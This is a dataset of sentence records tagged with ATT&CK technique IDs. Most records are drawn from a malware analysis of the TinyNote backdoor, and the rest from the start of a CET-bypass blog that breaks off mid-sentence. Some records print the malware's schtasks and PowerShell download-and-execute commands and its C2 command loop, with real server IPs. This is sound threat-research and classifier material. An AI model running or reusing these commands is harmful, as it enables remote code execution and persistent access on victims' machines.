{"sentence": "Malware Spotlight:", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Camaro Dragon’s TinyNote Backdoor url: https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/ Executive summary Since early January 2023, there has been a notable surge in activity targeting European foreign affairs entities linked to Southeast and East Asia.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The threat actors responsible are tracked by Check Point Research as Camaro Dragon and are associated with a broad network of espionage operations aligned with Chinese interests.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Camaro Dragon overlaps with previously reported activities conducted by state-sponsored Chinese threat actors, namely Mustang Panda.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "A portion of the group’s attack toolset and underlying infrastructure was thoroughly described by fellow ESET researchers in their detailed technical paper on the MQsTTang backdoor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Check Point Research analysis of these attacks also has uncovered a malicious TP-Link router firmware containing a custom implant named Horse Shell, which allows the threat actors to maintain persistent access and build anonymous infrastructure using compromised routers.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "In this report, we analyze another previously undisclosed backdoor associated with this cluster of activity which shares with it not only a common infrastructure but also the same high-level intelligence-gathering goal.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Key findings: A previously unknown Go-based backdoor called TinyNote was found on one of the Camaro Dragon distribution servers, in addition to being spotted in the wild.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The malware samples also communicate with other known C&C servers attributed to Camaro Dragon.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The TinyNote backdoor is distributed with names related to foreign affairs matters, and likely targets Southeast and East Asian embassies.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The backdoor performs a bypass of the Indonesian antivirus SmadAV, a security tool popular in Southeast Asian countries, such as Myanmar and Indonesia, and apparently used by a subset of the campaign targets.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The TinyNote backdoor is a first-stage malware only capable of basic machine enumeration and command execution via PowerShell or Goroutines.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "However, it focuses on redundancy to gain a foothold on the infected machine, including setting up multiple persistency tasks, communication with several different C&C servers, and different types of C&C command execution.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Introduction When we investigated a few delivery servers related to Camaro Dragon, we discovered that one of them exposed the threat actors’ tools and files located on the server, only protected by basic HTTP Authorization with a known password.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Among many other tools, previously discussed by other researchers, we discovered yet another backdoor that we named TinyNote.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Interestingly, the folder with the backdoor contained two other tools: Autoruns by Sysinternals, and HRSWord, which is a part of the Chinese Huorong Network Technology protection suite, and is often used by various actors to disable endpoint protection tools.", "labels": ["T1562.001"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The backdoor we found on the server, and its versions found in the wild, are executables with names related to foreign affairs, such as PDF_ Contacts List Of Invitated Deplomatic Members and Note_Documents_No.14-Tokyo-__From___Embassy___of___Russia_.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "This naming convention is similar to the one used at the same time by the MQsTTang backdoor versions discovered by ESET and found in VT.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Similar to MQsTTang, the TinyNote backdoor samples also contain folder icon in an attempt to deceive victims about their real purpose.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The custom backdoor is written in the Go programming language.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "In the copyright and build information for the executables, the malware developers left a reference to code.mil.mm, the Myanmar military infrastructure, likely to add credibility to their tool.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The actors’ heightened interest in Myanmar entities and successful attacks carried out against them were previously discussed thoroughly.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Our examination of the infrastructure led us to other findings that indicate the actors’ interest in Taiwan’s government entities as well.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The TinyNote backdoor is a basic remote shell, limited in capabilities: it enables the actors to fingerprint the infected machine, set up persistence, and establish two different ways to execute commands received from the C&C server.", "labels": ["T1059.003"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Despite its simplicity, it employs an interesting method of bypassing a very specific antivirus solution, suggesting the actors had issues gaining a foothold in specific environments.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "SmadAV evasion At the beginning of its execution, the malware starts a function called bypassSMADAV, whose purpose is to bypass the Indonesian antivirus Smadav.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The developers of the antivirus position their solution as a “second-layer antivirus” with “active users mostly from Indonesia, and other users mostly come from Southeast Asia and Africa Countries”.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The existence of the code that handles this specific antivirus once again confirms the focused targeting of Camaro Dragon campaigns and their knowledge of their victims’ environments and solutions.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "It’s worth mentioning that in previous operations, the actors used SmadAV for their own purposes, forcing its component SmadAVprotect32.exe to side-load their malicious DLL.", "labels": ["T1574.002"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "When any new process starts in the system, SmadAV scans all available windows.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "For every problematic window found, the antivirus checks if the window is visible with the API function IsWindowVisible.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "If the window is visible, it adds this window owner’s process ID to an array containing all current processes that have at least one visible window: Figure 1 – SmadAV code that collects a list of PIDs that have associated windows.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "After iterating over all windows, the antivirus process iterates over this array and compares each process ID to the newly created process ID.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "If none is found, meaning the new process doesn’t have any visible windows, the antivirus deems the newly created process to be malicious and shows a popup that suggests blocking the created process.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "This flow might act as protection from the techniques like process hollowing where the process is created in suspend mode and then replaced with malicious code.", "labels": ["T1055"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The threat actors appear to have reverse-engineered the logic of smadAV and dealt with this check by creating a window without a window name, but with the class name “EDIT” which is one of the available default windows class names.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The window attributes include a very large number for the X position, the width and height are set to 0, and flags such as WS_EX_TOOLWINDOW define the window as a tool window.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "These attributes make sure the window is identified as visible by IsWindowVisible function, but in fact, it is not shown to the user and does not appear in the taskbar or when pressing ALT+TAB:", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Figure 2 – A piece of malware code creates a specially crafted window to bypass the smadAV.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Before a call to CreateWindowEx, you would usually first need to create a class by calling RegisterClass and then class CreateWindowEx.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "But in this case, the threat actors decided to use a default class name which allows them to skip calling the RegisterClass function prior to calling CreateWindow.", "labels": ["T1106"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Ultimately, creating this window allows the threat actors to bypass the check, as the newly created window is technically visible, and continue the backdoor execution uninterrupted.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Figure 3 – SmadAV detection on the Go backdoor with the removed bypassSMADAV function.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Backdoor execution flow The malware creates a mutex named NASA&USA and then continues execution according to one of two modes of operation.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "First mode: persistence, PowerShell backdoor, and malware “installation” The malware checks if there is a “zip” string in the file path.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "If this is not found, it continues the execution flow.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "First, it creates the directory c:\\programdata\\Robots.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "If this fails, the malware does not continue the execution, likely because the infected user only has low privileges.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Next, the malware creates 2 scheduled tasks called test and test2 to retrieve and execute PowerShell commands, each retrieved from robots.txt from different C&C servers, most likely to eliminate a single point of failure: schtasks /Create", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "/TN test /SC MINUTE /MO 15 /TR \"powershell \\\"$r=[System.", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Net.WebRequest]::Create(\\\\\\\"http://5.188.33.190/Robots.txt\\\\\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\\\"\" /f schtasks /Create", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "/TN test2 /SC MINUTE /MO 45 /TR \"powershell \\\"$r=[System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Net.WebRequest]::Create(\\\\\\\"http://103.159.132.91/Robots.txt\\\\\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\\\"\" /f At the time of execution, both servers returned the same code pointing to the third server: C:\\Windows\\System32\\cmd.exe /c \"start powershell.exe -nop", "labels": ["T1059.003"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "-c set-alias exi iex;`$v1='iex (new-object net.webclient).dow';`$v2='nloadstring(''http://';`$v3='103.159.132.91/robots1.txt'')';exi(`$v1+`$v2+`$v3);\" The final payload returned is a lightweight PowerShell backdoor, which retrieves a list of commands from the CMD header from the C&C server response, executes them with Invoke-Expression, concatenates the outputs with '_n1w_' string, and sends them back to the server in POST request: $WindowState = '[DllImport(\"user32.dll\")]", "labels": ["T1071.001", "T1105"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "public static extern bool ShowWindow(int handle, int stat);';add-type -name win -member $WindowState -namespace native;[native.win]::ShowWindow(([System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Diagnostics.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0); $url=\"http://103.159.132.91:8081/\"; $postParams = 'result=start'; while (1 -eq 1) { try { $data =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "[System.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Text.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Encoding]::UTF8.GetBytes($postParams); $req =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "[System.Net.WebRequest]::Create($url); $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "ServicePoint.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "ConnectionLimit =65535; If ($req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "CurrentConnections -ge 10000) { $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "CloseConnectionGroup(\"\") } $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Expect100Continue = $false; #$req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Timeout = 10000; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Method = \"POST\"; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "ContentType = \"application/x-www-form-urlencoded\"; $req.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "ContentLength = $data.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Length; $Stream = $req.GetRequestStream(); $Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Write($data, 0, $data.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Length);$Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Flush();$Stream.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Close(); #waiting remote [System.Net.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "WebResponse] $resp = $req.GetResponse();$header=$resp.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "GetResponseHeader('CMD'); $d =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "[System.Convert]::FromBase64String($header); $Ds =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Encoding]::UTF8.GetString($d);$result = \"\"; Foreach ($string in invoke-expression $Ds){$result=$result+'_n1w_'+$string;}; $result =", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($result)); $postParams = \"result=$result\"; } catch{}; };", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The malware then copies itself to the zip file with the name [16 random characters].zip in c:\\users\\public\\, and also creates another copy of itself to the path using the zip name as a folder, for example, c:\\users\\public\\pMiOxI3G44Igrpq7.zip\\. Both the file inside the zip and the unzipped copy of the file get the same randomly generated name [5 random characters].exe, for example, 8q3Fj.exe.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Finally, the malware creates a scheduled task to execute its copy from this randomized path: schtasks /Create", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "/TN 8NaZrCq3pGeDRXKF /SC MINUTE /MO 15 /TR \"explorer.exe c:\\users\\public\\8NaZrCq3pGeDRXKF.zip\\8NaZr.exe\" /f Second mode: the backdoor This mode happens after the malware has achieved persistence and is running from a “zip” path.", "labels": ["T1053.005"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "First, the malware enumerates the system for the following data and concatenates it to one string:", "labels": ["T1033"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The current system username The current username home folder The system’s network interfaces (name, MacAddress, description)", "labels": ["T1033", "T1082"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Next, it encrypts the string using a simple XOR encryption algorithm with the key NASA and Base64 encodes it afterward.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "It then picks one random C&C URL out of the three available and constructs a GET request: http://5.188.33.190/api.php http://103.169.90.132/api.php http://103.159.132.91/api.php", "labels": ["T1071.001"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The encoded enumeration data is stored in a cookie called SSN.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Other headers in the request are constructed from serval random values.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The hostname header is selected from the following list: www.google.com www.facebook.com www.gstatic.com twitter.com The user-agent is also randomized and is selected from the following list: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Gecko/20100101 Firefox/103.0 Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Gecko/20100101 Firefox/63.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Safari/537.36 The expected result from the server is a JSON with the following structure: {\"msg\":\"[BASE64-ENCODED COMMAND]\"} After the validation of the JSON and Base64 decoding, the malware creates a Goroutine that executes the command and continues to listen for more commands in a loop.", "labels": ["T1140"], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Attribution", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "In addition to the fact that one of the backdoor versions was found on the Camaro Dragon distribution server, there are other strong connections between the actors and the TinyNote malware: The server 103.159.132[.]91, where one of the versions of the malware was first found behaves like the C&C server of the backdoor, and was also a delivery server for the MQsTTang backdoor during the same time period.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Another C&C server, 103.169.90[.]132, is known to be used by the threat actors continuously.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The victimology and lures are consistent with the latest Camaro Dragon campaigns, including the activity associated with the MQsTTang backdoor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "In addition, the actors also keep using a “folder” icon and a specific naming convention for some of their backdoors seen since early 2023.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The third C&C server, 5.188.33[.]190, has rather unique SSL certificates with Alternative names mail.mofa.gov.tw, intra.mofa.gov.tw, and *.mofa.gov.tw.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Another server with the same certificate, 23.106.123[.]59 is currently redirecting to the official infrastructure of the government of Taiwan, but likely was used for the additional attacks by the threat actor.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Conclusion The TinyNote backdoor highlights the targeted approach of Camaro Dragon and the extensive research they conduct prior to infiltrating their intended victims’ systems.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Although the backdoor is not technically complex, it employs several noteworthy tactics to establish an initial foothold in the compromised systems.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "These include the utilization of Golang, a programming language rarely used in Camaro Dragon tools, minimal lightweight functionality, and embedded bypass of a specific antivirus software commonly installed on potential targets.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The simultaneous use of this backdoor together with other tools with different levels of technical advancement implies that the threat actors are actively seeking to diversify their attack arsenal.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "IOCs f0b081ca58b6c253aa0014847c62dbad 6a2204b32a60aed0a3403c63ad2a529c 5.188.33[.]190 103.169.90[.]132 103.159.132[.]91 23.106.123[.]59 Check Point Customers remain protected: Threat Emulation provides comprehensive coverage of attack tactics, file types, and operating systems, powered by ThreatCloud AI – the brain behind all of Check Point’s Security.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "The post Malware Spotlight: Camaro Dragon’s TinyNote Backdoor appeared first on Check Point Research.", "labels": [], "doc_title": "Malware Spotlight Camaro Dragons TinyNote Backdoor"} {"sentence": "Bypassing Intel CET with Counterfeit Objects Matteo Malvica Content Developer Since its inception in 2005, return-oriented programming (ROP) has been the predominant avenue to thwart W^X mitigation during memory corruption exploitation.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "While Data Execution Prevention (DEP) has been engineered to block plain code injection attacks from specific memory areas, attackers have quickly adapted and instead of injecting an entire code payload, they resorted in reusing multiple code chunks from DEP-allowed memory pages, called ROP gadgets.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "These code chunks are taken from already existing code in the target application and chained together to resemble the desired attacker payload or to just disable DEP on a per page basis to allow the existing code payloads to run.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "To permanently block ROP attacks, a new hardware-enforced Control Flow Integrity mitigation called Control Enforcement Technology (CET) has been developed by Intel and first shipped on Windows systems roughly two years ago.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "At first, the advent of CET painted a bleak picture future for exploit developers and their reliance on ROP-based techniques.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "However, in 2015, a new code-reuse technique named Counterfeit Object-Oriented Programming (COOP) has been formulated in a paper which seemed quite promising in defeating Control-Flow Integrity (CFI) defenses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "In this blog, we’ll briefly cover how CFI mitigations works, including CET, and how we can leverage COOP to effectively bypass Intel CET on the latest Windows releases.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Forward-Edge and Backward-Edge CFI Control Flow Integrity mechanisms can be grouped into two main categories: forward-edge and backward-edge.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Forward-edge CFI, like Microsoft CFG, protects indirect function calls through the use of verified function addresses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "For instance, if we overwrite the pointer dereferenced in a CALL [rax] instruction with a ROP gadget address, CFG will block our exploit by throwing an exception.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Conversely, backward-edge CFI like Intel’s CET protects a function’s return address by comparing it to a previously saved version of the address that is stored on the Shadow Stack.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "If the original return address gets overwritten during a memory corruption exploit, the address comparison will inevitably fail and the application will be terminated.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Given that ROP-based attacks execute “RET” instructions without a prior “CALL” instruction, the running thread’s stack and the shadow stack values mismatch and so backward-edge CFI like CET effectively blocks this attack technique.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Intel CET has been designed to mitigate ROP attacks through both the Shadow Stack and COP/JOP via Indirect Branch Tracking (IBT).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "However since the latter technology has not yet been implemented on Windows, in this blog post we are going to refer to “Intel CET” as the implementation with only Shadow Stack enabled.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "CET internals have been documented extensively in previous researches [6][7] and we have already demonstrated how the mitigation works and on which major software CET has been deployed.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "At the time of this writing the landscape hasn’t changed much and every major browser continues to run CET on every process except the renderer process.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "This means that the way CET is currently implemented is quite ineffective because the renderer process is the one that gets typically exploited.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Even though CET is still not widely enforced on browsers we should expect it to be enforced on every process over the coming years.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "To avoid getting caught unprepared, as researchers, we should improve our tradecraft and constantly learn about newly developed attack angles.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Additionally, no matter how impeding a mitigation might be, we need to broaden our horizon if we want to find any weaknesses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Counterfeiting Objects As mentioned in this post’s premise, a novel code reuse technique named Counterfeit Object-Oriented Programming or COOP has been put together by Felix Schuster in 2015.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We should note that this paper is quite theoretical.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The technique has not been observed implemented in the wild or in disclosed exploits.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Our goal for this blog post is to try to leverage this theoretical approach and implement it in a proof of concept in order to bypass Intel CET.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The main idea behind this technique is counterfeiting – that is crafting new objects in-memory from attacker-controlled payloads and to chain them together through virtual functions that are already present in the target application or in loaded libraries.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Each virtual function contained in a counterfeit object is called a vfgadget and is responsible for performing a small task.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Similarly to ROP, vfgadgets can perform tasks like populating a value into a register.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "However when grouped together, multiple vfgadgets can execute more advanced operations.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As no specific tools exist today to discover vfgadgets, they can be found through custom scripts such as IDAPython, using a process similar to ROP gadget discovery.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Since vfgadgets are picked from a pool of CFG-valid functions we can mark them as legitimate, and their execution will not be blocked by CFG once we hijack an indirect call with one of them.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "In addition, an interesting corollary is that Intel CET won’t be triggered since we won’t corrupt any function return address during the process of calling vfgadgets in sequence.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As illustrated in Schuster’s paper, a typical COOP payload begins with a foundational vfgadget that acts as the COOP’s main function.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We’ll refer to it as Looper in this blog post.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the attacker has assembled the counterfeit object in memory, the Looper vfgadget iterates over an array of other vfgadgets, carefully prearranged by the attacker, which will be invoked one by one.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "By aligning the vfgadgets in the counterfeit object in such a way, we’ll be able to call valid virtual functions in a controlled manner.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the Looper is running, it can then call other vfgadgets that are responsible for executing specific operations, like Argument LoadersInvokers and Collectors.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "These vfgadgets will be stored at regular intervals within the the array accessed by the Looper.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "An Argument Loader vfgadget populates a given register by loading a value into it.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The value to be loaded will be stored inside the counterfeit object at an offset from the beginning of the fake object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the registers are populated by one or more Argument Loaders, an Invoker vfgadget can be called to simply execute the function pointer of the target API.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Collectors are gadgets that retrieve a value already present in a register, and save it back into the attacker’s counterfeit object (i.e. as a returned value from an invoked API).", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The following graph sum-up the COOP attack strategy discussed so far.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "COOP attack flow We 